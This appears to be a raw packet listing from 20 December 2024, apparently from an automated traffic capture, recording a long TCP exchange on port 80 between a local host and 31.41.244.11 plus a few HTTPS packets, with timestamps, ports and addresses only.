Dec 20, 2024 09:12:30.389723063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.389786959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.389832020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.389869928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.390544891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.390585899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.390664101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.390703917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.391413927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.391462088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.391510010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.391550064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.392255068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.392292976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.392329931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.392374992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.393110991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.393153906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.393172026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.393227100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.393949986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.394011021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.394054890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.394095898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.394826889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.394874096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.394913912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.394957066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.395673990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.395714045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.395761967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.395800114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.396518946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.396559954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.396598101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.396636009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.397382975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.397432089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.397491932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.397530079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.398200989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.398241043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.398339033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.398380041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.399070978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.399127007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.399207115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.399245024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.399950981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.399992943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.400039911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.400078058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.400880098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.400921106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.400991917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.401031017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.401602030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.401642084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.401738882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.401777029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.402448893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.402487040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.402563095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.402601004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.403326988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.403373003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.403419018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.403456926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.404189110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.404227972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.404267073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.404305935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.405019999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.405060053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.405157089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.405196905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.405839920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.405877113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.405970097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.406006098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.406739950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.406785011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.406830072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.406871080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.408124924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.408143997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.408171892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.408195972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.408498049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.408536911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.408536911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.408575058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.409224987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.409262896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.409342051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.409379005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.410082102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.410145044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.410191059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.410233974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.413364887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.413382053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.413398027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.413408041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.413427114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.413439035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.413444996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.413461924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.413463116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.413490057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.413506985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.413711071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.413727045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.413748980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.413764000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.453310013 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:30.453556061 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:30.453620911 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:30.471889019 CET	49815	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:30.471900940 CET	443	49815	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:30.561857939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.561918020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.561988115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.562027931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.562239885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.562279940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.562388897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.562428951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.562980890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.563020945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.563060045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.563101053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.563756943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.563796043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.563823938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.563863993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.564718008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.564781904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.564827919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.564871073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.565407038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.565447092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.565577984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.565617085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.566267014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.566308975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.566354036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.566392899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.570127964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.570144892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.570163965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.570169926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.570180893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.570184946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.570202112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.570220947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.570281029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.570298910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.570321083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.570338011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.570782900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.570804119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.570833921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.570849895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.571140051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.571156025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.571196079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.571211100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.571357012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.571409941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.571455956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.571562052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.572202921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.572242022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.572324038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.572365999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.573065996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.573111057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.573163033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.573200941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.573884010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.573921919 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.574083090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.574122906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.574764967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.574827909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.574908018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.574945927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.575629950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.575668097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.575714111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.575747013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.576477051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.576525927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.576611042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.576651096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.577303886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.577347994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.577420950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.577457905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.580035925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.580085993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.580944061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.580984116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.581609011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.581624031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.581640959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.581650019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.581659079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.581675053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.581679106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.581696987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.581701040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.581732035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.581732035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.582099915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.582138062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.582367897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.582403898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.583304882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.583329916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.583340883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.583363056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.584213972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.584254980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.584369898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.584407091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.585218906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.585236073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.585266113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.585283995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.585697889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.585728884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.586055994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.586091995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.586817026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.586853027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.586992979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.587028980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.587744951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.587784052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.587887049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.587923050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.588397026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.588434935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.588574886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.588612080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.589392900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.589410067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.589443922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.589458942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.590142965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.590179920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.590305090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.590341091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.590848923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.590864897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.590888023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.590903997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.591902018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.591943026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.592056036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.592092991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.592742920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.592758894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.592784882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.592803001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.593533039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.593569040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.593713045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.593751907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.594544888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.594563007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.594585896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.594609022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.595343113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.595385075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.595499039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.595783949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.596038103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.596076965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.596313953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.596352100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.596965075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.597006083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.597121000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.597160101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.597950935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.597966909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.598001003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.598016024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.598727942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.598745108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.598767042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.598783016 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.599570990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.599607944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.599762917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.599801064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.600399971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.600436926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.600593090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.600629091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.601228952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.601269960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.601366043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.601402998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.602020025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.602060080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.602142096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.602179050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.602926016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.602967024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.603065014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.603102922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.603828907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.603871107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.604022026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.604062080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.604680061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.604715109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.604823112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.604861021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.605451107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.605487108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.605597973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.605633974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.606333971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.606384039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.606514931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.606551886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.607153893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.607199907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.754199982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.754259109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.754281998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.754321098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.754597902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.754646063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.754693985 CET	80	49808	31.41.244.11	192.168.2.4
